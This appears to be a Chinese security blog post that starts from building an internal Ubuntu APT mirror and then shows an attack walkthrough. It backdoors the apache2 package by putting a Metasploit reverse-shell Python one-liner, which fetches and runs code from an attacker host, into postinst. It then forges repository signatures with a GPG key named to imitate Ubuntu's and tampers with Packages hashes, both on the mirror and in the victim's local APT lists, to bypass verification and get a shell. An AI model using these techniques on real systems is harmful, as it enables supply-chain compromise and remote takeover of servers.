在平时的攻防活动中,经常遇到出网的 Linux 服务器,很多内网 Linux 服务器连接外网只是为了更新软件包,结果将一个小危害变成了企业安全壁垒的裂口
我还是比较推荐企业建立自己的软件更新源,实时同步官方软件源,同时给通过反向代理提供服务,不需要连接外部网络,但有软件安装和更新需求的内网 Linux 服务器使用,这样至少有三个好处
将内网主机危害性有效较低 能够通过设置监控程序,记录内网 Linux 服务器安装软件包的情况,对供应链安全建设有利,某个版本的软件包发生安全漏洞时,可以快速锁定目标 快
这部分内容适合于企业自建自己的软件源,也适合攻击者搭建一个恶意的软件源
以 APT 为例,搭建 Ubuntu 20.04 lts 的更新源
整体思路:搭建一个更新源,定期同步官方源,让其他Linux 服务器使用这个源
sudo apt update
sudo apt install apt-mirror
/etc/apt/mirror.list
############# config ##################
#
# set base_path /var/spool/apt-mirror
#
# set mirror_path $base_path/mirror
# set skel_path $base_path/skel
# set var_path $base_path/var
# set cleanscript $var_path/clean.sh
# set defaultarch <running host architecture>
# set postmirror_script $var_path/postmirror.sh
# set run_postmirror 0
set nthreads 20
set _tilde 0
#
############# end config ##############deb http://archive.ubuntu.com/ubuntu kinetic main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu kinetic-security main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu kinetic-updates main restricted universe multiverse
#deb http://archive.ubuntu.com/ubuntu kinetic-proposed main restricted universe multiverse
#deb http://archive.ubuntu.com/ubuntu kinetic-backports main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu kinetic main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu kinetic-security main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu kinetic-updates main restricted universe multiverse
#deb-src http://archive.ubuntu.com/ubuntu kinetic-proposed main restricted universe multiverse
#deb-src http://archive.ubuntu.com/ubuntu kinetic-backports main restricted universe multiverse
clean http://archive.ubuntu.com/ubuntu
这里默认的更新源是当前系统的,我们修改为 Ubuntu 20.04 lts 的
############# config ##################
#
# set base_path /var/spool/apt-mirror
#
# set mirror_path $base_path/mirror
# set skel_path $base_path/skel
# set var_path $base_path/var
# set cleanscript $var_path/clean.sh
# set defaultarch <running host architecture>
# set postmirror_script $var_path/postmirror.sh
# set run_postmirror 0
set nthreads 20
set _tilde 0
#
############# end config ##############deb http://archive.ubuntu.com/ubuntu focal main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu focal-security main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu focal-updates main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu focal-proposed main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu focal-backports main restricted universe multiverse
clean http://archive.ubuntu.com/ubuntu/
如果想要节省硬盘空间和下载时间,也可以只同步64位的软件包 (使用 deb-amd64)
sudo apt-mirror
下载了一整天,目前总共 417G 左右。apt-mirror 也支持按照数据包列表进行更新,这样企业可以定制自己想要同步的软件包
sudo apt-get update
sudo apt-get install apache2
sudo ln -s /var/spool/apt-mirror/mirror/archive.ubuntu.com/ubuntu /var/www/html/ubuntu
现在一个 Ubuntu 更新源就搭建好了
目前的更新源不会定期更新,也不会实时更新,我们可以使用计划任务让更新源服务器做定期的增量更新
如果想实时更新,可以考虑使用 inotify + 检查脚本来完成
脚本 /opt/update_mirror.sh
#!/bin/bash
# 更新源
apt-mirror
创建计划任务
sudo crontab -e
添加以下内容
0 2 * * * /opt/update_mirror.sh >/dev/null 2>&1
每天凌晨两点自动更新
配置内网主机使用该更新源
deb http://<your-server-IP>/ubuntu focal main restricted universe multiverse
deb http://<your-server-IP>/ubuntu focal-security main restricted universe multiverse
deb http://<your-server-IP>/ubuntu focal-updates main restricted universe multiverse
deb http://<your-server-IP>/ubuntu focal-proposed main restricted universe multiverse
deb http://<your-server-IP>/ubuntu focal-backports main restricted universe multiverse
我的更新源服务器的IP为 192.168.31.117
,所以配置内网其他主机的更新源为
deb http://192.168.31.117/ubuntu focal main restricted universe multiverse
deb http://192.168.31.117/ubuntu focal-security main restricted universe multiverse
deb http://192.168.31.117/ubuntu focal-updates main restricted universe multiverse
deb http://192.168.31.117/ubuntu focal-proposed main restricted universe multiverse
deb http://192.168.31.117/ubuntu focal-backports main restricted universe multiverse
尝试使用自定义的更新源安装 nmap
成功安装
我也尝试了一下对系统软件进行升级
也全都正常
我们期待的是软件包正常安装,正常运行的同时执行我们的payload
以 apache 为例
通过官方源网站直接下载
通过 apt download 下载
直接在上面搭建的更新源中找
前面两种方式都在上一篇文章中涉及了,这次选择直接使用第三种
mkdir extract
dpkg-deb -x ./apache2_2.4.41-4ubuntu3.14_amd64.deb extract/
dpkg-deb -e ./apache2_2.4.41-4ubuntu3.14_amd64.deb extract/DEBIAN
DEBIAN 目录存在四个脚本文件,意义如下:
这次我们就使用 postinst 来完成加载木马的工作
就是普通的 bash 脚本,这样的话,其实之前的很多后门都可以和这个利用方式联合起来使用
payload 采用 msf 提供的python后门 exploit/multi/script/web_delivery
msf6 > use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > show options Module options (exploit/multi/script/web_delivery):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to
listen on. This must be an address on t
he local machine or 0.0.0.0 to listen o
n all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (defau
lt is randomly generated)
URIPATH no The URI to use for this exploit (defaul
t is random)
Payload options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be s
pecified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Python
View the full module info with the info, or info -d command.
msf6 exploit(multi/script/web_delivery) > set lhost 192.168.31.71
lhost => 192.168.31.71
msf6 exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.31.71:4444
[*] Using URL: http://192.168.31.71:8080/zQqeWQAQbo8cSb
[*] Server started.
[*] Run the following command on the target machine:
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.31.71:8080/zQqeWQAQbo8cSb', context=ssl._create_unverified_context());exec(r.read());"
msf6 exploit(multi/script/web_delivery) >
将生成的 python 指令放入到 postinst 中
这里将 python 换成了 python3 ,因为 Ubuntu 20.04 里默认就是 python3,不再有 python 了
dpkg-deb --build extract
将修改过的软件包放回更新源中,使用内网主机安装 apache,看看 apt 会报错吗?msf 会收到信息吗?
报错了,同时msf那边也没有接到返回的 shell
如果你看了上一篇文章,肯定知道这里为何报错,如果我们把 payload 放在 preinst 会不会在报错的同时执行payload呢?
答案是不会,毕竟安装步骤都没开始,下载步骤就出现了问题
如果使用 dpkg 进行离线安装呢?
dpkg 离线安装可以实现反弹 shell ,所以以后 dpkg 安装软件包需要格外谨慎
目前来看 apt 安装失败是文件大小和hash 出现了问题,如果我们将恶意软件包hash计算出来,替换掉原本的包含hash的文件,安装还会报错吗?
简单可行的方法我这里提供两种
其实呢,这里有一个取巧的方法是直接修改 APT 的配置文件,让其跳过签名验证,但是我没有找到详细的配置方法
恶意的软件包上面已经生成了,我们直接使用修改后的 apache2_2.4.41-4ubuntu3.14_amd64.deb
就好
在更新源服务器上生成自己的签名文件
gpg --gen-keyUbuntu Archive Automatic Signing Key (2020) [email protected]
这里是为了掩人耳目,写得跟官方相同,但是即使和官方相同,也生成不了默认被服务器信任的签名,因为签名还有一项重要的识别——指纹
这是你的 key 的密码,一定要记住,后续可能会使用到
成功生成一个 key
gpg --list-keys
可以看到,生成的 key 已经被列出来了
apt install dpkg-sig
export GPG_TTY=$(tty)
dpkg-sig --sign builder apache2_2.4.41-4ubuntu3.14_amd64.deb
我已经将恶意软件包拷贝到服务器对应目录了
这里有两种方式
这次演示使用第二种方法
更新源服务器(用于签名的服务器)上将密钥上传至公共服务器 keyserver.ubuntu.com
gpg --send-keys --keyserver keyserver.ubuntu.com <YOUR_KEYID>
其中 KEYID 可以通过 gpg --list-keys
获取到
受害服务器导入更新源服务器的密钥
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys <YOUR_KEYID>
这里使用短 key 就可以了,也就是上面的 09DCBEBD663F9F89
现在问题来了,到底哪一个源中有 apache2
软件包,如果不只一个源中有 apache2
这个文件,该修改哪个文件中的 Packages 相关文件呢?有什么原则吗
源的位置和安装顺序可以通过
apt-cache policy apache2
来确定,但是我们总不能通过被害主机来测试,所以需要准备一台和被害主机同一版本的主机,同样使用我们搭建的更新源。之后执行上面的指令这里可以看到,其实有三个源都包含 apache2 软件包,
focal-security
和focal-updates
包含的软件包版本较新,为2.4.41-4ubuntu3.14
focal
包含的软件包版本较旧,为2.4.41-4ubuntu3
默认安装APT会选择较新的版本进行安装,那么问题来了,
focal-security
和focal-updates
版本一样,且都是最新的,安装哪一个呢?有什么原则吗?这两个安装哪一个都行,但不是随机的,是按照两个更新源在
/etc/apt/sources.list
位置来决定的,按照我们上面的配置,focal-security
这个更新源更靠上,所以默认会安装来自focal-security
的 apache2 软件包但是,为了保险起见,可以将三个源中的Packages 等相关文件都改了,但这是个麻烦事
看完上面的解释,大家应该知道了,我们要修改 focal-security
中的 Packages 相关文件,从上面可知,apache2
软件包位于 main
这个大路径下
这里有四个文件,Release 不用管, 其他三个文件需要修改一下,直接删除 Packages.gz
和 Packages.xz
计算修改并签名后的 apache2_2.4.41-4ubuntu3.14_amd64.deb
软件包的大小以及 hash
Size: 98462
MD5sum: e66bdf04e85d37a1e293ccdf0c75f414
SHA1: 6689d93b79d00710e49e380d02f4b08df73ce25a
SHA256: 5ebed2f9cedba5d9a484e4bca129c2cbd1957fac6b450d423a043c4ac2852abf
SHA512: d49a3fbfbac346615aa5bd101d06f21ea941275f91bddbe3be390e8a9fc238fb2b3d24f72366002dd577f13074420378de1246f676764b0dedfe4cefd75c6994
编辑 Packages 文件
将 apache2 中的大小和hash 信息进行替换
保存
将 Packages 文件分别压缩为 Packages.gz 和 Packages.xz
gzip -k Packages
xz -k Packages
Packages
Size: 11484821
MD5sum: 58f1a5d5d61362a78b2d8655a920699d
SHA1: 1fd37f4153596abaf6622d7d3de01ac9889b6232
SHA256: 0c16a4354798103d092256321b5fcb382c3f36e0c2b972adf30b8905160f105d
----------------
Packages.gz
Size: 2598179
MD5sum: dd120e4e266c5d3c490a50f34dcb5e21
SHA1: 94c745077633d88d5c9d6249f65ed04204a35bc2
SHA256: 265d472f8454900b3a2187669596bf99956715f5ea6ab5133b0beb7b1d64087a
----------------
Packags.xz
Size: 2080352
MD5sum: 6b0fd01e0dce55dfb4e04011dd94549b
SHA1: 76613b52fcdf4770f256941352a04ba787d5a49a
SHA256: 0acda3f96b85b16b4f62f53f4000929ecd9cdbf177fb890d43ec3be1bcce6fb1
Release 中保存了各个 Packages 以及相关文件的大小路径和hash等信息,现在我们需要针对上面三个进行修改
具体路径为 /var/spool/apt-mirror/mirror/archive.ubuntu.com/ubuntu/dists/focal-security
如果你读过上一篇文章,你肯定知道,Release.gpg
和 InRelease
是有官方签名的,修改后需要我们手动签名
删除InRelease
和 Release.gpg
编辑 Release 文件,使用上一小节的信息进行替换
保存
为 Release
签名,生成 InRelease
、Release.gpg
gpg --clearsign -o InRelease Release
gpg -abs -o Release.gpg Release
第一步需要输入生成key时设置的密码
deb http://192.168.31.117/ubuntu focal main restricted universe multiverse
deb http://192.168.31.117/ubuntu focal-security main restricted universe multiverse
deb http://192.168.31.117/ubuntu focal-updates main restricted universe multiverse
deb http://192.168.31.117/ubuntu focal-proposed main restricted universe multiverse
deb http://192.168.31.117/ubuntu focal-backports main restricted universe multiverse
sudo apt update
sudo apt install apache2
成功获取 shell
这部分才是比较有意思的、新发现的东西
我们先将更新源服务器和受害主机都恢复快照
用恶意软件包替换官方原版 apache2
配置受害主机使用我们搭建的更新源
deb http://192.168.31.117/ubuntu focal main restricted universe multiverse
deb http://192.168.31.117/ubuntu focal-security main restricted universe multiverse
deb http://192.168.31.117/ubuntu focal-updates main restricted universe multiverse
deb http://192.168.31.117/ubuntu focal-proposed main restricted universe multiverse
deb http://192.168.31.117/ubuntu focal-backports main restricted universe multiverse
sudo apt update
可以看出,这一步是不会报错的,甚至安装其他软件包也不会报错
安装 apache2 报错
在上一篇文章中,我详细介绍了 APT 是如何防止软件包被篡改的,不过还是让我找到了一丢丢瑕疵,当然,这可能是 Ubuntu 的正常功能,这篇文章发出之后,我也会邮件 Ubuntu 官方询问这是否有风险
经过上一小节,大家也可以看出来,有了官方签名以后,用户先下载 InRelease
,签名合法后再下载各个 Packages.xz
,之后挨个软件包下载或者更新等。如果存在软件包大小或hash不符,就会报上面的错误
但是经过我的测试,实际上 APT 是将 Packages 文件保存在本地,在 apt install apache2
的时候,实际上如果更新源上的 InRelease
没有更新,则不会重新下载 Packages 等文件,关键的是 不会校验本地 Packages及相关文件的大小和HASH是否和更新源中 InRelease 文件标识相同
本地 Packages
文件位于什么地方呢?
/var/lib/apt/lists/
从上一个小节我们知道,安装 apache2
会从 focal-security/main/binary-amd64
中进行安装,所以我们直接修改本地的 Packages
文件 /var/lib/apt/lists/192.168.31.117_ubuntu_dists_focal-security_main_binary-amd64_Packages
就可以直接绕过 APT检查
如果你确定不了哪个文件中有上面报错的验证也没关系,你可以用文件大小和hash 去这些文件中搜索嘛
grep -rn "95572" /var/lib/apt/lists/
将恶意软件包的大小和hash信息计算出来
size: 97346
md5: 05c85be37a78bef6013ba2df6098dadc
sha1: efe5f314534e59785fa9f7f81f6798e9fc120e3e
sha256: f60e906d9a9ce31cec9870148ac8438dc7cf674632a9fad211418d5a35f869cf
sha512: 9d885527decedd3c55054077189799b93e6bcec17b049baf2cc87e48a9c70a4018f07c1d1d76f6ef40ff2a279a10e411a119a6c34d41fecb5aca50e08d776fcc
当然,也可以按照上一个小节的方法进行计算大小和hash
编辑 /var/lib/apt/lists/192.168.31.117_ubuntu_dists_focal-security_main_binary-amd64_Packages
保存
成功绕过 APT 检查获取到 shell